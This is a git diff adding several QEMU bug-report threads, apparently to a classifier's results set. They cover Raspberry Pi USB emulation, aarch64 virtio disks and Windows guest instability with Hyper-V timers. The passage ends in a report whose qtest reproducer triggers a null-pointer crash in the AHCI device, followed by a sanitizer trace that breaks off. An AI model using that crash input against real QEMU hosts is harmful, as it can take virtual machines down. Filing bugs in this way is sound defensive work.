(https://bugs.launchpad.net/qemu/+bug/1837347) and unsure why this command is showing Hardware name as BCM2835 when the QEMU raspi code has BCM2836 associated with raspi2 (https://github.com/qemu/qemu/blob/59c58f96b270f5edd4ad10954c3a96556cb3a728/hw/arm/bcm2836.c#L31). + +I highly appreciate the support provided for raspi2 and raspi3 till now. + +Thank you. + +I think the two main things we would need would be: + (1) a proper data sheet for the pi2/pi3 USB controller. Last time I looked there wasn't one available; it's pretty hard to model the controller properly without it. (Perhaps one has been released since I last looked.) + (2) somebody who cares about the pi2/pi3 models and has the time to invest in writing a device model for them + + +Hi! + +I've googled: "usb" "designware" "otg" "datasheet" + +I think this is the kernel driver for this device: https://github.com/torvalds/linux/tree/master/drivers/usb/dwc3 + +Maybe it should be possible to use this as a reference? Maybe try to redirect the proprietary drivers system calls? I don't know... + +I've also found theses docs, which explains the device a little bit: +http://www.infradead.org/~mchehab/kernel_docs_pdf/driver-api.pdf +https://media.digikey.com/pdf/Data%20Sheets/Austriamicrosystems%20PDFs/AS3524.pdf +https://www.intel.com/content/dam/www/programmable/us/en/pdfs/literature/hb/arria-10/a10_54018.pdf + +Thanks. + + +Thanks for digging those up. Unfortunately just the driver sources aren't really enough information for a good device model, and the other docs are just overviews without the level of detail we need. + + +It looks like a similar USB controller is part of a TI SoC: + +http://www.ti.com/lit/ug/spruhj7a/spruhj7a.pdf + + +Clement + + +Right now with +`qemu-system-arm -kernel kernel7.img -dtb bcm2709-rpi-2-b.dtb -cpu arm1176 -M raspi2 -hda 2018-11-13-raspbian-stretch-full.img` +I can access the serial console using `Ctrl+Alt+3` in the QEMU window. +Using raspbian via this serial console is (as far as I can see) the same as using the Lite version. +The main display doesn't accept any mouse/ keyboard input, and `-device usb-mouse` generates a `qemu-system-arm: -device usb-mouse: No 'usb-bus' bus found for device 'usb-mouse` error, even after the `-machine usb=on` command + + +I think this PDF describes the same OTC controller as the rpi one: + +http://rockchip.fr/RK312X%20TRM/chapter-26-usb-otg-2-0.pdf + +Have you seen the patch series I have posted on the qemu-devel mailing +list? "[PATCH v5 0/7] dwc-hsotg (aka dwc2) USB host controller emulation." +If you could test that and give your 'tested-by', it could help get the +patch series accepted. That would require you to download the latest Qemu +source code, apply the patches, and build it yourself. + +So, is it still true, that QEMU doesn't support USB on Raspberry Pi? + +In other words I can't emulate Raspberry Pi actually? + +What about documentation and QEMU helps? They reports usb for raspi2, for example: + +$qemu-system-arm -machine raspi2 -device help | grep usb-host +name "usb-host", bus usb-bus + +Is this incorrect information? + +Also, when I was truing to configure USB passthrough, I was getting permission errors on /dev/usb/* probably indicating it was doing something. + +If it doesn't support usb, then why isn't it write error message? + +Which Beagle boards, Jetson Nano, other devices have rich support from +qemu? ARM is critical going forward. + +On Mon, Oct 5, 2020, 10:20 AM Dims <email address hidden> wrote: + +> So, is it still true, that QEMU doesn't support USB on Raspberry Pi? +> +> In other words I can't emulate Raspberry Pi actually? +> +> What about documentation and QEMU helps? They reports usb for raspi2, +> for example: +> +> $qemu-system-arm -machine raspi2 -device help | grep usb-host +> name "usb-host", bus usb-bus +> +> Is this incorrect information? +> +> Also, when I was truing to configure USB passthrough, I was getting +> permission errors on /dev/usb/* probably indicating it was doing +> something. +> +> If it doesn't support usb, then why isn't it write error message? +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1772165 +> +> Title: +> arm raspi2/raspi3 emulation has no USB support +> +> Status in QEMU: +> Confirmed +> +> Bug description: +> Using Qemu 2.12.0 on ArchLinux. +> +> Trying to emulate arm device with `qemu-system-arm` and attach usb +> device for unput using +> +> ` -usb -device usb-host,bus=001,vendorid=0x1d6b,productid=0x0002 ` +> +> # lsusb returns +> +> Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub +> Bus 001 Device 014: ID 13d3:3487 IMC Networks +> Bus 001 Device 004: ID 0457:11af Silicon Integrated Systems Corp. +> Bus 001 Device 003: ID 0bda:57e6 Realtek Semiconductor Corp. +> Bus 001 Device 002: ID 0bda:0129 Realtek Semiconductor Corp. RTS5129 +> Card Reader Controller +> Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub +> +> # qemu returns +> qemu-system-arm: -device +> usb-host,bus=001,vendorid=0x1d6b,productid=0x0002: Bus '001' not found +> +> +> Tried with connecting external usb keyboard but that didn't seem to work +> either. +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1772165/+subscriptions +> + + +As of version 5.1, Qemu now supports USB on Raspberry PI 2 and 3. There are a few caveats: + +- If you are running a Raspbian image, you must add "dwc_otg.fiq_fsm_enable=0" + to the '-kernel' command-line parameters. +- Raspbian images 2016-05-27-raspbian-jessie and earlier don't work, see + Bug 1892604. +- It has only been tested with Raspbian and with mainline Linux kernels, so + e.g. BSD kernels probably won't work + +I guess this bug should be closed, I'll look into how to do that. + + +I misspoke in my last comment, that first bullet should have said + +- If you are running a Raspbian image, you must add "dwc_otg.fiq_fsm_enable=0" + to the '-append' command-line parameters. + + +I did this, but still can't access USB device, connected to host, from guest. + +Also I have + +$ lsusb +unable to initalize libusb: -99 + +on guest. + +Playing with usb options gave nothing. + +Command lines I use are like following + +$QEMU_EXE \ + -kernel qemu-rpi-kernel/kernel-qemu-4.4.34-jessie \ + -cpu arm1176 \ + -m 256 \ + -M versatilepb \ + -append "dwc_otg.lpm_enable=0 root=/dev/sda2 panic=1" \ + -hda 2017-07-05-raspbian-jessie.img \ + -usb \ + -nic user \ + -serial stdio \ + -no-reboot \ + + +# -device usb-dwc2 \ +# -device usb-host,hostbus=1,hostport=3 \ + + +# -usb \ +# -device qemu-xhci,id=xhci \ + + +# -device usb-net,netdev=mynet0 \ +# -netdev user,id=mynet0,net=192.168.10.0/24,dhcpstart=192.168.10.1 \ + + +#-usb \ + +# -device qemu-xhci \ +# -device usb-ehci,id=ehci \ + +You need to use -M raspi2 (or -M raspi3 for 64-bit kernels) to enable the Raspberry Pi emulation. And you need version 5.1 or newer of Qemu to get the dwc2 USB emulation. I don't think any Linux distributions provide that new of a Qemu, so you might have to build it yourself. + +Here is the command line I use to run the Raspbian image 2019-09-26-raspbian-buster.img. I extracted bcm2709-rpi-2-b.dtb and kernel7.img from the FAT partition inside the image file. + +qemu-system-arm -M raspi2 -drive file=2019-09-26-raspbian-buster.img,format=raw,if=sd -dtb bcm2709-rpi-2-b.dtb -kernel kernel7.img -append 'rw earlycon=pl011,0x3f201000 console=ttyAMA0 loglevel=8 root=/dev/mmcblk0p2 fsck.repair=yes net.ifnames=0 rootwait memtest=1 dwc_otg.fiq_fsm_enable=0' -serial stdio -no-reboot -netdev user,id=net0 -usb -device usb-kbd -device usb-tablet -device usb-net,netdev=net0 + +That should give you a graphical emulation with working keyboard, mouse and networking. Mass-storage also works, but I left that out for simplicity. + +But note that if you absolutely must pass-through a USB device from the host, it probably won't work. That's because the dwc2 controller emulation is connected through a full-speed hub emulation, so unless your USB device is connected at full-speed on the host, it probably won't work. + + +Here is that command line again, hopefully readable this time: + +qemu-system-arm -M raspi2 \ + -drive file=2019-09-26-raspbian-buster.img,format=raw,if=sd \ + -dtb bcm2709-rpi-2-b.dtb \ + -kernel kernel7.img \ + -append 'rw earlycon=pl011,0x3f201000 console=ttyAMA0 \ + loglevel=8 root=/dev/mmcblk0p2 fsck.repair=yes \ + net.ifnames=0 rootwait memtest=1 \ + dwc_otg.fiq_fsm_enable=0' \ + -serial stdio -no-reboot \ + -netdev user,id=net0 \ + -usb -device usb-kbd -device usb-tablet \ + -device usb-net,netdev=net0 + + +On Mon, 5 Oct 2020 at 21:38, mcandre <email address hidden> wrote: +> Which Beagle boards, Jetson Nano, other devices have rich support from +> qemu? ARM is critical going forward. + +If you just want to be able to run a Linux kernel and Arm +userspace code and you don't have a strong preference +for which board to use, we recommend using the 'virt' +board. See the notes on choosing a board model in the docs: +https://www.qemu.org/docs/master/system/target-arm.html#choosing-a-board-model + +thanks +-- PMM + + +Since USB emulation has been added in QEMU 5.1, I'm marking this feature request as done now. If there are still issues, please open a new ticket instead. + +I'm also trying to run QEMU for emulating Raspberry PI, but I'm still unable to make working external USB devices like keyboard and mouse. +Unlike previous users, I'm not using a linux distro but Microsoft Windows 10 instead. +I'm using the precompiled 64bit executables downloaded from https://qemu.weilnetz.de/w64/ as suggested from the download page at qemu.org for Windows targets. +The version printed by the emulator is: + +> QEMU emulator version 6.2.0 (v6.2.0-11889-g5b72bf03f5-dirty) +> Copyright (c) 2003-2021 Fabrice Bellard and the QEMU Project developers + +I'm launching the emulator with this command as administrator: + +qemu-system-arm -M raspi2b -drive file=2020-12-02-raspios-buster-armhf.img,format=raw,if=sd -dtb qemu-rpi-kernel\native-emuation\dtbs\bcm2709-rpi-2-b.dtb -kernel qemu-rpi-kernel\native-emuation\kernels\kernel7.img -append "rw earlycon=pl011,0x3f201000 console=ttyAMA0 loglevel=8 root=/dev/mmcblk0p2 fsck.repair=yes net.ifnames=0 rootwait memtest=1 dwc_otg.fiq_fsm_enable=0" -serial stdio -no-reboot -netdev user,id=net0 -usb -device usb-kbd -device usb-tablet -device usb-net,netdev=net0 + +Besides few obvious changes, like the separator character for directories (\ instead of /) and quotes (" instead of '), the command is the same as the one described above. + +The emulator starts, the desktop of the OS appears, but still no keyboard and no mouse support. +However, I can still login by using the terminal provided by the emulated serial terminal. + +Is the feature expected to work also on the port of QEMU for Windows? + + +On Tue, Feb 22, 2022 at 3:15 PM Carlo Bramini +<email address hidden> wrote: +> +> I'm also trying to run QEMU for emulating Raspberry PI, but I'm still unable to make working external USB devices like keyboard and mouse. +> Unlike previous users, I'm not using a linux distro but Microsoft Windows 10 instead. +> I'm using the precompiled 64bit executables downloaded from https://qemu.weilnetz.de/w64/ as suggested from the download page at qemu.org for Windows targets. + +> The emulator starts, the desktop of the OS appears, but still no keyboard and no mouse support. +> However, I can still login by using the terminal provided by the emulated serial terminal. +> +> Is the feature expected to work also on the port of QEMU for Windows? + +Yes. + +However upstream QEMU bugs are now tracked on https://gitlab.com/qemu- +project/qemu/-/issues - so if you can reproduce it with the latest +version from upstream QEMU, please report it there. + +Regards, + +Phil. + + diff --git a/results/classifier/deepseek-1/output/fixes./1383857 b/results/classifier/deepseek-1/output/fixes./1383857 new file mode 100644 index 00000000..baf54b9c --- /dev/null +++ b/results/classifier/deepseek-1/output/fixes./1383857 @@ -0,0 +1,199 @@ + +aarch64: virtio disks don't show up in guest (neither blk nor scsi) + +kernel-3.18.0-0.rc1.git0.1.rwmj5.fc22.aarch64 (3.18 rc1 + some hardware enablement) +qemu from git today + +When I create a guest with virtio-scsi disks, they don't show up inside the guest. +Literally after the virtio_mmio.ko and virtio_scsi.ko modules are loaded, there are +no messages about disks, and of course nothing else works. + +Really long command line (generated by libvirt): + +HOME=/home/rjones USER=rjones LOGNAME=rjones QEMU_AUDIO_DRV=none TMPDIR=/home/rjones/d/libguestfs/tmp /home/rjones/d/qemu/aarch64-softmmu/qemu-system-aarch64 -name guestfs-oqv29um3jp03kpjf -S -machine virt,accel=tcg,usb=off -cpu cortex-a57 -m 500 -realtime mlock=off -smp 1,sockets=1,cores=1,threads=1 -uuid a5f1a15d-2bc7-46df-9974-1d1f643b2449 -nographic -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/home/rjones/.config/libvirt/qemu/lib/guestfs-oqv29um3jp03kpjf.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc,driftfix=slew -no-reboot -boot strict=on -kernel /home/rjones/d/libguestfs/tmp/.guestfs-1000/appliance.d/kernel -initrd /home/rjones/d/libguestfs/tmp/.guestfs-1000/appliance.d/initrd -append panic=1 console=ttyAMA0 earlyprintk=pl011,0x9000000 ignore_loglevel efi-rtc=noprobe udevtimeout=6000 udev.event-timeout=6000 no_timer_check lpj=500000 acpi=off printk.time=1 cgroup_disable=memory root=/dev/sdb selinux=0 guestfs_verbose=1 TERM=xterm-256color -device virtio-scsi-device,id=scsi0 -device virtio-serial-device,id=virtio-serial0 -usb -drive file=/home/rjones/d/libguestfs/tmp/libguestfs4GxfQ9/scratch.1,if=none,id=drive-scsi0-0-0-0,format=raw,cache=unsafe -device scsi-hd,bus=scsi0.0,channel=0,scsi-id=0,lun=0,drive=drive-scsi0-0-0-0,id=scsi0-0-0-0,bootindex=1 -drive file=/home/rjones/d/libguestfs/tmp/libguestfs4GxfQ9/overlay2,if=none,id=drive-scsi0-0-1-0,format=qcow2,cache=unsafe -device scsi-hd,bus=scsi0.0,channel=0,scsi-id=1,lun=0,drive=drive-scsi0-0-1-0,id=scsi0-0-1-0 -serial unix:/home/rjones/d/libguestfs/tmp/libguestfs4GxfQ9/console.sock -chardev socket,id=charchannel0,path=/home/rjones/d/libguestfs/tmp/libguestfs4GxfQ9/guestfsd.sock -device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=org.libguestfs.channel.0 -msg timestamp=on + +There are no kernel messages about the disks, they just are not seen. + +Worked with kernel 3.16 so I suspect this could be a kernel bug rather than a +qemu bug, but I've no idea where to report those. + +On 21 October 2014 20:07, Richard Jones <email address hidden> wrote: +> Public bug reported: +> +> kernel-3.18.0-0.rc1.git0.1.rwmj5.fc22.aarch64 (3.18 rc1 + some hardware enablement) +> qemu from git today +> +> When I create a guest with virtio-scsi disks, they don't show up inside the guest. +> Literally after the virtio_mmio.ko and virtio_scsi.ko modules are loaded, there are +> no messages about disks, and of course nothing else works. + +> There are no kernel messages about the disks, they just are not seen. +> +> Worked with kernel 3.16 so I suspect this could be a kernel bug rather than a +> qemu bug, but I've no idea where to report those. + +Yeah, "regressed with this newer kernel" sounds more like a kernel +bug than a QEMU bug to me, especially if all the other virt devices +still work. + +-- PMM + + +I have now also tried virtio-blk and that doesn't work either. Same symptoms: no log messages at all (even with ignore_loglevel), and no disks appear. + +> Yeah, "regressed with this newer kernel" sounds more like a kernel +> bug than a QEMU bug to me, especially if all the other virt devices +> still work. + +It seems like no virtio drivers work, but it's very hard to tell when your guest has no disks and therefore no operating system. How can I debug this further? + +On 21 October 2014 22:15, Richard Jones <email address hidden> wrote: +> I have now also tried virtio-blk and that doesn't work either. Same +> symptoms: no log messages at all (even with ignore_loglevel), and no +> disks appear. +> +>> Yeah, "regressed with this newer kernel" sounds more like a kernel +>> bug than a QEMU bug to me, especially if all the other virt devices +>> still work. +> +> It seems like no virtio drivers work, but it's very hard to tell when +> your guest has no disks and therefore no operating system. How can I +> debug this further? + +Oh. I assumed from the fact your commandline had other virtio +devices and you were only complaining about virtio-scsi that it +was a single-backend issue. + +Suggestions: + * bisect the kernel to find out when it broke + * add a bunch of debug printks to the kernel to find out why + it's not finding the disks. The logging here is terrible IMHO: + the kernel usually detects a specific problem and then throws + all this info away in favour of just silently deciding there's + no hardware there + +thanks +-- PMM + + +On 21 October 2014 22:33, Peter Maydell <email address hidden> wrote: +> Suggestions: + +...you might also try asking on <email address hidden>, which +is where the KVM/ARM kernel devs hang out, to see if somebody +else has seen this. + +-- PMM + + +Finally finished the git bisect (of the guest kernel, not qemu): + +421520ba98290a73b35b7644e877a48f18e06004 is the first bad commit +commit 421520ba98290a73b35b7644e877a48f18e06004 +Author: Yalin Wang <email address hidden> +Date: Fri Sep 26 03:07:09 2014 +0100 + + ARM: 8167/1: extend the reserved memory for initrd to be page aligned + + This patch extends the start and end address of initrd to be page aligned, + so that we can free all memory including the un-page aligned head or tail + page of initrd, if the start or end address of initrd are not page + aligned, the page can't be freed by free_initrd_mem() function. + + Signed-off-by: Yalin Wang <email address hidden> + Acked-by: Catalin Marinas <email address hidden> + Signed-off-by: Russell King <email address hidden> + +:040000 040000 23bd54d302533c173a4ae592969dd2868794e9ed f1833b44ee7a389902f6f9d2fb55f4b89ba0de16 M arch + +Now might be a good time to mention that Fedora has very recently switched to using 64k pages. + +I'll continue this on the mailing list you suggested. + +Still happening with latest upstream kernel. It seems to involve using the -initrd option at all, with any cpio file, even a tiny one. More results posted here: + +https://lists.cs.columbia.edu/pipermail/kvmarm/2014-December/012557.html + +Finally found the problem, patch posted: +https://lists.gnu.org/archive/html/qemu-devel/2014-12/msg00034.html + +I was just about to get to testing this stuff, but thanks for working +through it on your own, and apologies I didn't get to it before. + +Cc'ing Marc so he's aware of the progress. + +-Christoffer + +On Mon, Dec 1, 2014 at 3:46 PM, Richard Jones <email address hidden> wrote: +> Finally found the problem, patch posted: +> https://lists.gnu.org/archive/html/qemu-devel/2014-12/msg00034.html +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1383857 +> +> Title: +> aarch64: virtio disks don't show up in guest (neither blk nor scsi) +> +> Status in QEMU: +> New +> +> Bug description: +> kernel-3.18.0-0.rc1.git0.1.rwmj5.fc22.aarch64 (3.18 rc1 + some hardware enablement) +> qemu from git today +> +> When I create a guest with virtio-scsi disks, they don't show up inside the guest. +> Literally after the virtio_mmio.ko and virtio_scsi.ko modules are loaded, there are +> no messages about disks, and of course nothing else works. +> +> Really long command line (generated by libvirt): +> +> HOME=/home/rjones USER=rjones LOGNAME=rjones QEMU_AUDIO_DRV=none +> TMPDIR=/home/rjones/d/libguestfs/tmp +> /home/rjones/d/qemu/aarch64-softmmu/qemu-system-aarch64 -name guestfs- +> oqv29um3jp03kpjf -S -machine virt,accel=tcg,usb=off -cpu cortex-a57 -m +> 500 -realtime mlock=off -smp 1,sockets=1,cores=1,threads=1 -uuid +> a5f1a15d-2bc7-46df-9974-1d1f643b2449 -nographic -no-user-config +> -nodefaults -chardev +> socket,id=charmonitor,path=/home/rjones/.config/libvirt/qemu/lib +> /guestfs-oqv29um3jp03kpjf.monitor,server,nowait -mon +> chardev=charmonitor,id=monitor,mode=control -rtc +> base=utc,driftfix=slew -no-reboot -boot strict=on -kernel +> /home/rjones/d/libguestfs/tmp/.guestfs-1000/appliance.d/kernel -initrd +> /home/rjones/d/libguestfs/tmp/.guestfs-1000/appliance.d/initrd -append +> panic=1 console=ttyAMA0 earlyprintk=pl011,0x9000000 ignore_loglevel +> efi-rtc=noprobe udevtimeout=6000 udev.event-timeout=6000 +> no_timer_check lpj=500000 acpi=off printk.time=1 cgroup_disable=memory +> root=/dev/sdb selinux=0 guestfs_verbose=1 TERM=xterm-256color -device +> virtio-scsi-device,id=scsi0 -device virtio-serial-device,id=virtio- +> serial0 -usb -drive +> file=/home/rjones/d/libguestfs/tmp/libguestfs4GxfQ9/scratch.1,if=none,id +> =drive-scsi0-0-0-0,format=raw,cache=unsafe -device scsi- +> hd,bus=scsi0.0,channel=0,scsi-id=0,lun=0,drive=drive- +> scsi0-0-0-0,id=scsi0-0-0-0,bootindex=1 -drive +> file=/home/rjones/d/libguestfs/tmp/libguestfs4GxfQ9/overlay2,if=none,id +> =drive-scsi0-0-1-0,format=qcow2,cache=unsafe -device scsi- +> hd,bus=scsi0.0,channel=0,scsi-id=1,lun=0,drive=drive- +> scsi0-0-1-0,id=scsi0-0-1-0 -serial +> unix:/home/rjones/d/libguestfs/tmp/libguestfs4GxfQ9/console.sock +> -chardev +> socket,id=charchannel0,path=/home/rjones/d/libguestfs/tmp/libguestfs4GxfQ9/guestfsd.sock +> -device virtserialport,bus=virtio- +> serial0.0,nr=1,chardev=charchannel0,id=channel0,name=org.libguestfs.channel.0 +> -msg timestamp=on +> +> There are no kernel messages about the disks, they just are not seen. +> +> Worked with kernel 3.16 so I suspect this could be a kernel bug rather than a +> qemu bug, but I've no idea where to report those. +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1383857/+subscriptions + + +Richard -- I assume we fixed this one way or another, right? + + +Oh yes, long fixed. + diff --git a/results/classifier/deepseek-1/output/fixes./1811533 b/results/classifier/deepseek-1/output/fixes./1811533 new file mode 100644 index 00000000..9292b45f --- /dev/null +++ b/results/classifier/deepseek-1/output/fixes./1811533 @@ -0,0 +1,158 @@ + +Unstable Win10 guest with qemu 3.1 + huge pages + hv_stimer + +Host: +Gentoo linux x86_64, kernel 4.20.1 +Qemu 3.1.0 +CPU: Intel i7 6850K +Chipset: X99 + +Guest: +Windows 10 Pro 64bit (1809) +Machine type: pc-q35_3.1 +Hyper-V enlightenments: hv_stimer,hv_reenlightenment,hv_frequencies,hv_vapic,hv_reset,hv_synic,hv_runtime,hv_vpindex,hv_time,hv_relaxed,hv_spinlocks=0x1fff +Memory: 16GB backed by 2MB huge pages + +Issue: +Once guest is started, log gets flooded with: + +qemu-system-x86_64: vhost_region_add_section: Overlapping but not coherent sections at 103000 + +or + +qemu-system-x86_64: vhost_region_add_section:Section rounded to 0 prior to previous 1f000 + +(line endings change) + +and as time goes guest loses network access (virtio-net-pci) and general performance diminishes to extent of freezing applications. + +Observations: +1) problem disappears when hv_stimer is removed +2) problem disappears when memory backing with huge pages is disabled +3) problem disappears when machine type is downgraded to pc-q35_3.0 + +Refresh: still happening with Qemu 4.0 and Kernel 5.2. + +One additional observation: +4) problem disappears when vhost is disabled. + +Still broken with Qemu 4.1rc2 /w Kernel 5.2. + +This is a huge problem, as it breaks performance, either in networking (you can't use the virtio net which is the only 100G adapter afaik), or you have to disable huge pages, which is a blow to any large vm host, or it breaks stimer, which increases cpu usage, generally breaking virtualization. + +Thank you! + +Other users are having similar issues: +https://github.com/virtio-win/kvm-guest-drivers-windows/issues/402 +https://www.reddit.com/r/VFIO/comments/cc2473/virtio_network_drivers_failing_on_win10_guest/etk6f6i/ + + +What can be done to increase the visibility of this? It's quite annoying to deal with. + +CC's in Vitaly; he knows a bunch about the Hyperv hv_ and windows stuff. +It feels weird that something timer related should change something hugepage related. + +Zilvinas/Damir: Can you paste in the qemu commandline you're using please. + +Another observation: +Adding CPU flag x-hv-synic-kvm-only also fixes the issue, because it switches only synic to Qemu 3.0 behavior, leaving other features of > Qemu 3.0 available. + +This observation can be related to this commit: https://github.com/qemu/qemu/commit/9b4cf107b09d18ac30f46fd1c4de8585ccba030c + +I will post full qemu command line later. + +x-hv-synic-kvm-only does two things: +1) Disables in-QEMU synic and this should be unrelated to the issue as it is unrelated to stimers. + +2) Doesn't clear guest pages (HV_X64_MSR_SIEFP/HV_X64_MSR_SIMP). This can actually be related to huge pages if the cleanup is causing huge page split. Synic pages are 4k. I still fail to see how this is vhost related. + +I'll try to take a look. + +No, I think it's the other way around: clearing guest pages is unrelated. It is easy to check with the following kernel patch: + +diff --git a/arch/x86/kvm/hyperv.c b/arch/x86/kvm/hyperv.c +index fff790a3f4ee..73c574f930e3 100644 +--- a/arch/x86/kvm/hyperv.c ++++ b/arch/x86/kvm/hyperv.c +@@ -776,7 +776,7 @@ int kvm_hv_activate_synic(struct kvm_vcpu *vcpu, bool dont_zero_synic_pages) + */ + kvm_vcpu_deactivate_apicv(vcpu); + synic->active = true; +- synic->dont_zero_synic_pages = dont_zero_synic_pages; ++ synic->dont_zero_synic_pages = false; + return 0; + } + +my expectation is that the issue will remain. + +Now what *can* be causing it: when in-QEMU synic is initialized it creates two memory subregions: for Event page and for Message page (HV_X64_MSR_SIEFP/HV_X64_MSR_SIMP MSRs). These regions are always 4k in size and they can me anywhere in guest's memory, not necessarily 2M aligned. + +Now, (if I understood correctly) in vhost code, vhost_region_add_section() is trying to align to qemu_ram_pagesize() and this may intersect with synic regions. + +We need to summon someone who understands memory_region_* magic in QEMU and vhost in particular. + + +As asked by dgilbert-h, I am attaching my qemu command line. It is ripped from libvirt log. + +Also attaching my libvirt log with a few errors at the end of the log. + +Thank you for looking into this! + + + +Hi, + +This seems to have died out. How do we proceed to get this looked into by the correct people? + +Thanks, +Damir + +Can you try the pair of patches I've just posted: + vhost: Don't pass ram device sections + hyperv/synic: Allocate as ram_device + +and let me know if it helps please. + +I have applied these patches on qemu 4.2 and it seems they do fix the problem: no more vhost_region_add_section in the log, and I haven't observed network or general performance loss in the span of one hour. + +Also affects me when running Qemu 4.0.0 with -machine pc-q35-3.1. I get this on the command line: + +"qemu-system-x86_64: vhost_region_add_section: Overlapping but not coherent sections at 11a000". + +h/w: AMD Ryzen 3900X, Gigabyte Aorus Pro X570 (latest BIOS), kernel 5.3.0. + +With -machine q35 (i.e. pc-q35-4.0) the machine crashes when soundhw is specified. Here the quick and dirty command line: + +qemu-system-x86_64 \ + -enable-kvm \ + -runas user \ + -serial none \ + -parallel none \ + -nodefaults \ + -name $vmname,process=$vmname \ + -machine pc-q35-3.1,accel=kvm,mem-merge=off,vmport=off \ +-cpu host,kvm=off,+topoext,hv_vendor_id=1234567890ab,hv_vapic,hv_time,hv_relaxed,hv_spinlocks=0x1fff,hv_crash,hv_reset,hv_vpindex,hv_runtime,hv_synic,hv_stimer \ + -smp 24,sockets=1,cores=12,threads=2 \ + -global ICH9-LPC.disable_s3=1 \ + -global ICH9-LPC.disable_s4=1 \ + -m 48G \ +-mem-path /dev/hugepages \ +-mem-prealloc \ + -rtc base=localtime,clock=host,driftfix=slew \ +-soundhw hda \ +-audiodev pa,id=pa1,server=/run/user/1000/pulse/native \ + -vga none \ + -nographic \ +-usb \ +-device usb-host,vendorid=0x046d,productid=0xc52b \ +-device ioh3420,id=root_port1,chassis=1,bus=pcie.0,addr=03.0 \ +-device vfio-pci,host=0b:00.0,id=hostdev1,bus=root_port1,addr=0x00,multifunction=on \ +-device vfio-pci,host=0b:00.1,id=hostdev2,bus=root_port1,addr=0x00.1 \ + -drive if=pflash,format=raw,readonly,file=/usr/share/OVMF/OVMF_CODE.fd \ + -drive if=pflash,format=raw,file=/tmp/my_vars.fd \ +... + +I have been using this patch https://patchwork.kernel.org/patch/11346881/ on qemu 4.2 as a fix since January without any ill effects. It is already included into qemu 5.0 rc0 and rc1, so it seems qemu 5.0 will be free from this bug. + +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=76525114736e8f669766 + diff --git a/results/classifier/deepseek-1/output/fixes./1915539 b/results/classifier/deepseek-1/output/fixes./1915539 new file mode 100644 index 00000000..e5915bd4 --- /dev/null +++ b/results/classifier/deepseek-1/output/fixes./1915539 @@ -0,0 +1,108 @@ + +Null-ptr dereference on AHCICmdHdr in ahci_pio_transfer + +== Reproducer == + +cat << EOF | ./qemu-system-i386 -display none \ +-m 512M -machine q35 -nodefaults \ +-drive file=null-co://,if=none,format=raw,id=disk0 \ +-device ide-hd,drive=disk0 -machine accel=qtest -qtest stdio +outl 0xcf8 0x8000fa24 +outl 0xcfc 0xe0000000 +outl 0xcf8 0x8000fa04 +outw 0xcfc 0x06 +write 0x10a 0x1 0x02 +write 0xe0000398 0x1 0x01 +write 0x20000 0x1 0x27 +write 0x20001 0x1 0x80 +write 0x20002 0x1 0x20 +write 0x20005 0x1 0x02 +write 0xe00003b8 0x2 0x0101 +write 0xe0000004 0x1 0x01 +write 0x2bb 0x1 0x00 +write 0x2bf 0x1 0x00 +write 0x2cf 0x1 0x00 +write 0x2db 0x1 0x00 +write 0x2df 0x1 0x00 +write 0x2ed 0x1 0x00 +write 0x2ef 0x1 0x00 +write 0x2fb 0x1 0x00 +write 0x2ff 0x1 0x00 +write 0x31f 0x1 0x00 +write 0x32b 0x1 0x00 +write 0x32f 0x1 0x00 +write 0x337 0x1 0x00 +write 0x33f 0x1 0x00 +write 0x347 0x1 0x00 +write 0x357 0x1 0x00 +write 0x35f 0x1 0x00 +write 0x36b 0x1 0x00 +write 0x36f 0x1 0x00 +write 0x377 0x1 0x00 +write 0x37f 0x1 0x00 +write 0x397 0x1 0x00 +write 0x39f 0x1 0x00 +write 0x3ab 0x1 0x00 +write 0x3af 0x1 0x00 +write 0x3b7 0x1 0x00 +write 0x3bf 0x1 0x00 +write 0x3c7 0x1 0x00 +write 0x3d7 0x1 0x00 +write 0x3df 0x1 0x00 +write 0x3eb 0x1 0x00 +write 0x3ef 0x1 0x00 +write 0x3f7 0x1 0x00 +write 0x3ff 0x1 0x00 +write 0xe0000394 0x1 0x00 +write 0xe0000398 0x1 0x01 +EOF + +== Stack Trace == +../hw/ide/ahci.c:1349:46: runtime error: member access within null pointer of +type 'AHCICmdHdr' (aka 'struct AHCICmdHdr') SUMMARY: +UndefinedBehaviorSanitizer: undefined-behavior ../hw/ide/ahci.c:1349:46 in +../hw/ide/ahci.c:1349:46: runtime error: load of null pointer of type +'uint16_t' (aka 'unsigned short') +SUMMARY: UndefinedBehaviorSanitizer: +undefined-behavior ../hw/ide/ahci.c:1349:46 in AddressSanitizer:DEADLYSIGNAL +================================================================= +==238806==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc +0x555787d414c9 bp 0x7fffe1bb41a0 sp 0x7fffe1bb3fe0 T0) +==238806==The signal is caused by a READ memory access. +==238806==Hint: address points to the zero page. +#0 0x555787d414c9 in ahci_pio_transfer build/../hw/ide/ahci.c:1349:46 +#1 0x5557886089d6 in ide_transfer_start_norecurse build/../hw/ide/core.c:553:5 +#2 0x555788638945 in ide_transfer_start build/../hw/ide/core.c:560:9 +#3 0x555788638945 in ide_sector_read_cb build/../hw/ide/core.c:761:5 +#4 0x55578860c989 in ide_buffered_readv_cb build/../hw/ide/core.c:656:9 +#5 0x5557898999d6 in blk_aio_complete build/../block/block-backend.c:1412:9 +#6 0x555789db8d26 in aio_bh_poll build/../util/async.c:164:13 +#7 0x555789d80704 in aio_dispatch build/../util/aio-posix.c:381:5 +#8 0x555789dbd94c in aio_ctx_dispatch build/../util/async.c:306:5 +#9 0x7f6dcedcfbaa in g_main_context_dispatch (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x51baa) +#10 0x555789dc3763 in glib_pollfds_poll build/../util/main-loop.c:232:9 +#11 0x555789dc3763 in os_host_main_loop_wait build/../util/main-loop.c:255:5 +#12 0x555789dc3763 in main_loop_wait build/../util/main-loop.c:531:11 +#13 0x555789206a49 in qemu_main_loop 